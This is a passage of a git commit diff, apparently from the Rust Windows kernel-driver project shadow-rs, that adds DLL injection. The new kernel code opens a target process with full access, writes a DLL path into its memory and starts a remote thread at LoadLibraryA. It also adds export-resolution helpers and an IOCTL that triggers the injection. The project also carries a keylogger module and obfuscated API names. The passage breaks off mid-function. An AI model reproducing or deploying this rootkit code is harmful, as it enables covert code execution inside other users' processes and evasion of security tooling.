mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-19 16:24:26 +01:00
Adding DLL injection functionality
This commit is contained in:
@@ -18,6 +18,7 @@ use {
|
|||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
/// List of target drivers protected by a mutex.
|
/// List of target drivers protected by a mutex.
|
||||||
static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<HiddenDriverInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));
|
static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<HiddenDriverInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));
|
||||||
|
|
||||||
|
|||||||
@@ -136,9 +136,6 @@ pub mod structs {
|
|||||||
pub mod types {
|
pub mod types {
|
||||||
use super::*;
|
use super::*;
|
||||||
|
|
||||||
// pub type OperationPre = unsafe extern "C" fn(*mut core::ffi::c_void, *mut OB_PRE_OPERATION_INFORMATION) -> i32;
|
|
||||||
// pub type OperationPost = unsafe extern "C" fn(*mut core::ffi::c_void, *mut _OB_POST_OPERATION_INFORMATION);
|
|
||||||
|
|
||||||
pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
|
pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
|
||||||
DriverObject: &mut _DRIVER_OBJECT,
|
DriverObject: &mut _DRIVER_OBJECT,
|
||||||
RegistryPath: PCUNICODE_STRING,
|
RegistryPath: PCUNICODE_STRING,
|
||||||
|
|||||||
29
driver/src/injection/callbacks.rs
Normal file
29
driver/src/injection/callbacks.rs
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
use wdk_sys::{ntddk::{ExFreePool, PsIsThreadTerminating}, PKAPC, PVOID, _MODE::UserMode};
|
||||||
|
|
||||||
|
use crate::includes::{types::PKNORMAL_ROUTINE, KeTestAlertThread, PsGetCurrentThread};
|
||||||
|
|
||||||
|
pub unsafe extern "system" fn kernel_apc_callback(
|
||||||
|
apc: PKAPC,
|
||||||
|
_normal_routine: *mut PKNORMAL_ROUTINE,
|
||||||
|
_normal_context: *mut PVOID,
|
||||||
|
_system_argument1: *mut PVOID,
|
||||||
|
_system_argument2: *mut PVOID
|
||||||
|
) {
|
||||||
|
|
||||||
|
KeTestAlertThread(UserMode as i8);
|
||||||
|
ExFreePool(apc as _)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub unsafe extern "system" fn user_apc_callback(
|
||||||
|
apc: PKAPC,
|
||||||
|
normal_routine: *mut PKNORMAL_ROUTINE,
|
||||||
|
_normal_context: *mut PVOID,
|
||||||
|
_system_argument1: *mut PVOID,
|
||||||
|
_system_argument2: *mut PVOID
|
||||||
|
) {
|
||||||
|
if PsIsThreadTerminating(PsGetCurrentThread()) == 1 {
|
||||||
|
*normal_routine = None;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExFreePool(apc as _)
|
||||||
|
}
|
||||||
@@ -1,29 +1,31 @@
|
|||||||
#![allow(non_snake_case)]
|
#![allow(non_snake_case)]
|
||||||
|
|
||||||
use {
|
use {
|
||||||
obfstr::obfstr,
|
|
||||||
shared::structs::TargetInjection,
|
|
||||||
core::{ffi::c_void, ptr::null_mut, mem::{size_of, transmute}},
|
|
||||||
crate::{
|
crate::{
|
||||||
includes::{
|
includes::{
|
||||||
types::{
|
|
||||||
ZwProtectVirtualMemoryType, ZwCreateThreadExType, PKNORMAL_ROUTINE
|
|
||||||
},
|
|
||||||
MmCopyVirtualMemory, KeInitializeApc, KeTestAlertThread, PsGetCurrentThread, KeInsertQueueApc,
|
|
||||||
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
|
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
|
||||||
|
types::{
|
||||||
|
ZwCreateThreadExType, ZwProtectVirtualMemoryType, PKNORMAL_ROUTINE
|
||||||
|
},
|
||||||
|
KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,
|
||||||
},
|
},
|
||||||
process::Process,
|
process::Process,
|
||||||
utils::{find_zw_function, read_file, InitializeObjectAttributes, find_thread_alertable}
|
utils::{find_thread_alertable, find_zw_function, read_file, InitializeObjectAttributes, get_module_peb}
|
||||||
},
|
},
|
||||||
|
callbacks::{kernel_apc_callback, user_apc_callback},
|
||||||
|
core::{ffi::c_void, mem::{size_of, transmute}, ptr::null_mut},
|
||||||
|
obfstr::obfstr,
|
||||||
|
shared::structs::TargetInjection,
|
||||||
wdk_sys::{
|
wdk_sys::{
|
||||||
ntddk::{
|
ntddk::{
|
||||||
ExAllocatePool2, IoGetCurrentProcess, ZwAllocateVirtualMemory,
|
ExAllocatePool2, IoGetCurrentProcess, ZwAllocateVirtualMemory,
|
||||||
ZwClose, ZwOpenProcess, ExFreePool, PsIsThreadTerminating
|
ZwClose, ZwOpenProcess
|
||||||
},
|
},
|
||||||
_MODE::{KernelMode, UserMode}, *
|
_MODE::{KernelMode, UserMode}, *
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
|
mod callbacks;
|
||||||
pub struct InjectionShellcode;
|
pub struct InjectionShellcode;
|
||||||
|
|
||||||
impl InjectionShellcode {
|
impl InjectionShellcode {
|
||||||
@@ -38,10 +40,12 @@ impl InjectionShellcode {
|
|||||||
pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS {
|
pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS {
|
||||||
let pid = (*target).pid;
|
let pid = (*target).pid;
|
||||||
let path = &(*target).path;
|
let path = &(*target).path;
|
||||||
|
|
||||||
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
|
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
|
||||||
Some(addr) => addr as *mut c_void,
|
Some(addr) => addr as *mut c_void,
|
||||||
None => return STATUS_UNSUCCESSFUL
|
None => return STATUS_UNSUCCESSFUL
|
||||||
};
|
};
|
||||||
|
|
||||||
let zw_protect_addr = match find_zw_function(obfstr!("NtProtectVirtualMemory")) {
|
let zw_protect_addr = match find_zw_function(obfstr!("NtProtectVirtualMemory")) {
|
||||||
Some(addr) => addr as *mut c_void,
|
Some(addr) => addr as *mut c_void,
|
||||||
None => return STATUS_UNSUCCESSFUL
|
None => return STATUS_UNSUCCESSFUL
|
||||||
@@ -140,6 +144,7 @@ impl InjectionShellcode {
|
|||||||
Ok(buffer) => buffer,
|
Ok(buffer) => buffer,
|
||||||
Err(error) => return error
|
Err(error) => return error
|
||||||
};
|
};
|
||||||
|
|
||||||
let thread_id = match find_thread_alertable(pid) {
|
let thread_id = match find_thread_alertable(pid) {
|
||||||
Some(tid) => tid,
|
Some(tid) => tid,
|
||||||
None => return STATUS_UNSUCCESSFUL
|
None => return STATUS_UNSUCCESSFUL
|
||||||
@@ -229,28 +234,98 @@ impl InjectionShellcode {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe extern "system" fn kernel_apc_callback(
|
pub struct InjectionDLL;
|
||||||
apc: PKAPC,
|
|
||||||
_normal_routine: *mut PKNORMAL_ROUTINE,
|
|
||||||
_normal_context: *mut PVOID,
|
|
||||||
_system_argument1: *mut PVOID,
|
|
||||||
_system_argument2: *mut PVOID
|
|
||||||
) {
|
|
||||||
|
|
||||||
KeTestAlertThread(UserMode as i8);
|
impl InjectionDLL {
|
||||||
ExFreePool(apc as _)
|
pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> NTSTATUS {
|
||||||
|
let pid = (*target).pid;
|
||||||
|
let path = (*target).path.as_bytes();
|
||||||
|
|
||||||
|
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
|
||||||
|
Some(addr) => addr as *mut c_void,
|
||||||
|
None => return STATUS_UNSUCCESSFUL
|
||||||
|
};
|
||||||
|
|
||||||
|
let zw_protect_addr = match find_zw_function(obfstr!("NtProtectVirtualMemory")) {
|
||||||
|
Some(addr) => addr as *mut c_void,
|
||||||
|
None => return STATUS_UNSUCCESSFUL
|
||||||
|
};
|
||||||
|
|
||||||
|
let function_address = match get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")) {
|
||||||
|
Some(addr) => addr,
|
||||||
|
None => return STATUS_UNSUCCESSFUL
|
||||||
|
};
|
||||||
|
|
||||||
|
let target_eprocess = match Process::new(pid) {
|
||||||
|
Some(e_process) => e_process,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
let mut h_process: HANDLE = null_mut();
|
||||||
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
|
let mut client_id = CLIENT_ID {
|
||||||
|
UniqueProcess: pid as _,
|
||||||
|
UniqueThread: null_mut(),
|
||||||
|
};
|
||||||
|
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwOpenProcess Failed With Status: {status}");
|
||||||
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe extern "system" fn user_apc_callback(
|
let mut base_address = null_mut();
|
||||||
apc: PKAPC,
|
let mut region_size = path.len() as u64;
|
||||||
normal_routine: *mut PKNORMAL_ROUTINE,
|
status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
_normal_context: *mut PVOID,
|
if !NT_SUCCESS(status) {
|
||||||
_system_argument1: *mut PVOID,
|
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
||||||
_system_argument2: *mut PVOID
|
ZwClose(h_process);
|
||||||
) {
|
return status;
|
||||||
if PsIsThreadTerminating(PsGetCurrentThread()) == 1 {
|
|
||||||
*normal_routine = None;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
ExFreePool(apc as _)
|
let mut result_number = 0;
|
||||||
|
MmCopyVirtualMemory(
|
||||||
|
IoGetCurrentProcess(),
|
||||||
|
path.as_ptr() as _,
|
||||||
|
target_eprocess.e_process,
|
||||||
|
base_address,
|
||||||
|
(path.len() * size_of::<u16>()) as u64,
|
||||||
|
KernelMode as i8,
|
||||||
|
&mut result_number,
|
||||||
|
);
|
||||||
|
|
||||||
|
let ZwProtectVirtualMemory = transmute::<_, ZwProtectVirtualMemoryType>(zw_protect_addr);
|
||||||
|
let mut old_protect = 0;
|
||||||
|
status = ZwProtectVirtualMemory(h_process, &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
|
||||||
|
ZwClose(h_process);
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
||||||
|
let mut h_thread = null_mut();
|
||||||
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
|
status = ZwCreateThreadEx(
|
||||||
|
&mut h_thread,
|
||||||
|
THREAD_ALL_ACCESS,
|
||||||
|
&mut obj_attr,
|
||||||
|
h_process,
|
||||||
|
transmute(function_address),
|
||||||
|
base_address,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
null_mut()
|
||||||
|
);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwCreateThreadEx Failed With Status: {status}");
|
||||||
|
ZwClose(h_process);
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
ZwClose(h_process);
|
||||||
|
ZwClose(h_thread);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -1,7 +1,8 @@
|
|||||||
use {
|
use {
|
||||||
crate::{
|
crate::{
|
||||||
*, callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList},
|
*,
|
||||||
driver::Driver, injection::InjectionShellcode, keylogger::set_keylogger_state,
|
callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList},
|
||||||
|
driver::Driver, injection::{InjectionShellcode, InjectionDLL}, keylogger::set_keylogger_state,
|
||||||
module::Module, process::Process, thread::Thread
|
module::Module, process::Process, thread::Thread
|
||||||
},
|
},
|
||||||
alloc::boxed::Box,
|
alloc::boxed::Box,
|
||||||
@@ -15,6 +16,7 @@ use {
|
|||||||
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}
|
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
use {
|
use {
|
||||||
crate::{
|
crate::{
|
||||||
@@ -149,20 +151,27 @@ lazy_static! {
|
|||||||
status
|
status
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
ioctls.insert(IOCTL_INJECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_INJECTION_THREAD");
|
log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
|
||||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
|
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
status
|
status
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
ioctls.insert(IOCTL_INJECTION_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_INJECTION_APC");
|
log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
|
||||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
|
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
status
|
status
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_INJECTION_DLL_THREAD");
|
||||||
|
let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
// If the feature is a mapper, these functionalities will not be added.
|
// If the feature is a mapper, these functionalities will not be added.
|
||||||
#[cfg(not(feature = "mapper"))] {
|
#[cfg(not(feature = "mapper"))] {
|
||||||
|
|
||||||
|
|||||||
@@ -102,10 +102,6 @@ macro_rules! handle_injection {
|
|||||||
|
|
||||||
$action(input_buffer)
|
$action(input_buffer)
|
||||||
}};
|
}};
|
||||||
|
|
||||||
($action:expr) => {
|
|
||||||
$action()
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Macro to handle registry-related operations.
|
/// Macro to handle registry-related operations.
|
||||||
|
|||||||
@@ -1,16 +1,18 @@
|
|||||||
use {
|
use {
|
||||||
crate::{includes::structs::SystemModuleInformation, process::Process},
|
crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process},
|
||||||
alloc::{string::String, vec, vec::Vec},
|
alloc::{string::String, vec, vec::Vec},
|
||||||
core::{
|
core::{
|
||||||
ffi::{c_void, CStr},
|
ffi::{c_void, CStr},
|
||||||
mem::{size_of, zeroed},
|
mem::{size_of, zeroed},
|
||||||
ptr::{null_mut, read, read_unaligned},
|
ptr::{null_mut, read, read_unaligned},
|
||||||
fmt::Write
|
fmt::Write,
|
||||||
|
slice::from_raw_parts
|
||||||
},
|
},
|
||||||
ntapi::{
|
ntapi::{
|
||||||
ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
|
ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
|
||||||
ntzwapi::ZwQuerySystemInformation,
|
ntzwapi::ZwQuerySystemInformation,
|
||||||
ntldr::LDR_DATA_TABLE_ENTRY,
|
ntldr::LDR_DATA_TABLE_ENTRY,
|
||||||
|
ntpebteb::PEB,
|
||||||
},
|
},
|
||||||
obfstr::obfstr,
|
obfstr::obfstr,
|
||||||
wdk_sys::{
|
wdk_sys::{
|
||||||
@@ -136,18 +138,9 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -
|
|||||||
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||||
|
|
||||||
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||||
let names = core::slice::from_raw_parts(
|
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
|
||||||
(dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32,
|
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
|
||||||
(*export_directory).NumberOfNames as _,
|
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
|
||||||
);
|
|
||||||
let functions = core::slice::from_raw_parts(
|
|
||||||
(dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32,
|
|
||||||
(*export_directory).NumberOfFunctions as _,
|
|
||||||
);
|
|
||||||
let ordinals = core::slice::from_raw_parts(
|
|
||||||
(dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,
|
|
||||||
(*export_directory).NumberOfNames as _,
|
|
||||||
);
|
|
||||||
|
|
||||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||||
let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||||
@@ -189,18 +182,9 @@ pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<
|
|||||||
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||||
|
|
||||||
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||||
let names = core::slice::from_raw_parts(
|
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
|
||||||
(dll_base + (*export_directory).AddressOfNames as usize) as *const u32,
|
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
|
||||||
(*export_directory).NumberOfNames as _,
|
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||||
);
|
|
||||||
let functions = core::slice::from_raw_parts(
|
|
||||||
(dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,
|
|
||||||
(*export_directory).NumberOfFunctions as _,
|
|
||||||
);
|
|
||||||
let ordinals = core::slice::from_raw_parts(
|
|
||||||
(dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,
|
|
||||||
(*export_directory).NumberOfNames as _,
|
|
||||||
);
|
|
||||||
|
|
||||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||||
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||||
@@ -249,10 +233,7 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
|||||||
|
|
||||||
loop {
|
loop {
|
||||||
if !(*process_info).ImageName.Buffer.is_null() {
|
if !(*process_info).ImageName.Buffer.is_null() {
|
||||||
let image_name = core::slice::from_raw_parts(
|
let image_name = from_raw_parts((*process_info).ImageName.Buffer, ((*process_info).ImageName.Length / 2) as usize);
|
||||||
(*process_info).ImageName.Buffer,
|
|
||||||
((*process_info).ImageName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
let name = String::from_utf16_lossy(image_name);
|
let name = String::from_utf16_lossy(image_name);
|
||||||
if name == process_name {
|
if name == process_name {
|
||||||
let pid = (*process_info).UniqueProcessId as usize;
|
let pid = (*process_info).UniqueProcessId as usize;
|
||||||
@@ -281,53 +262,19 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
|||||||
/// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
|
/// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
|
||||||
///
|
///
|
||||||
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
||||||
let mut section_handle = null_mut();
|
let (section_handle, ntdll_addr) = match map_dll(obfstr!("\\KnownDlls\\ntdll.dll")) {
|
||||||
let ntdll = crate::utils::uni::str_to_unicode("\\KnownDlls\\ntdll.dll");
|
Some(infos) => infos,
|
||||||
let mut obj_attr = InitializeObjectAttributes(Some(&mut ntdll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
|
None => return None
|
||||||
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
};
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwOpenSection Failed With Status: {status}");
|
|
||||||
return None
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut large: LARGE_INTEGER = zeroed();
|
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
|
||||||
let mut ntdll_addr = null_mut();
|
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||||
let mut view_size = 0;
|
|
||||||
status = ZwMapViewOfSection(
|
|
||||||
section_handle,
|
|
||||||
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
|
||||||
&mut ntdll_addr,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
&mut large,
|
|
||||||
&mut view_size,
|
|
||||||
ViewUnmap,
|
|
||||||
0,
|
|
||||||
PAGE_READONLY,
|
|
||||||
);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwMapViewOfSection Failed With Status: {status}");
|
|
||||||
ZwClose(section_handle);
|
|
||||||
return None
|
|
||||||
}
|
|
||||||
|
|
||||||
let dos_header = ntdll_addr as *mut IMAGE_DOS_HEADER;
|
|
||||||
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
|
||||||
|
|
||||||
let ntdll_addr = ntdll_addr as usize;
|
let ntdll_addr = ntdll_addr as usize;
|
||||||
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||||
let names = core::slice::from_raw_parts(
|
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
|
||||||
(ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32,
|
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
|
||||||
(*export_directory).NumberOfNames as _,
|
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||||
);
|
|
||||||
let functions = core::slice::from_raw_parts(
|
|
||||||
(ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32,
|
|
||||||
(*export_directory).NumberOfFunctions as _,
|
|
||||||
);
|
|
||||||
let ordinals = core::slice::from_raw_parts(
|
|
||||||
(ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,
|
|
||||||
(*export_directory).NumberOfNames as _,
|
|
||||||
);
|
|
||||||
|
|
||||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||||
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||||
@@ -358,6 +305,129 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
|||||||
return None
|
return None
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Retrieves the address of a specified function within a module in the context of a target process.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `pid`: The process ID (PID) of the target process.
|
||||||
|
/// - `module_name`: The name of the module (DLL) to be searched for. The search is case-insensitive.
|
||||||
|
/// - `function_name`: The name of the function within the module to be found.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*mut c_void>`: The address of the target function if found.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Option<*mut c_void> {
|
||||||
|
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||||
|
let target = match Process::new(pid) {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return None,
|
||||||
|
};
|
||||||
|
|
||||||
|
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||||
|
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||||
|
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||||
|
|
||||||
|
while next != current {
|
||||||
|
if next.is_null() {
|
||||||
|
log::error!("Next LIST_ENTRY is null");
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
if list_entry.is_null() {
|
||||||
|
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*list_entry).FullDllName.Buffer,
|
||||||
|
((*list_entry).FullDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
if buffer.is_empty() {
|
||||||
|
log::error!("Buffer for module name is empty");
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let dll_name = alloc::string::String::from_utf16(&buffer).ok()?;
|
||||||
|
if dll_name.to_lowercase().contains(module_name) {
|
||||||
|
let dll_base = (*list_entry).DllBase as usize;
|
||||||
|
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||||
|
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||||
|
|
||||||
|
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
|
||||||
|
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
|
||||||
|
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
|
||||||
|
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||||
|
|
||||||
|
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||||
|
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||||
|
let ordinal = ordinals[i as usize] as usize;
|
||||||
|
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
|
||||||
|
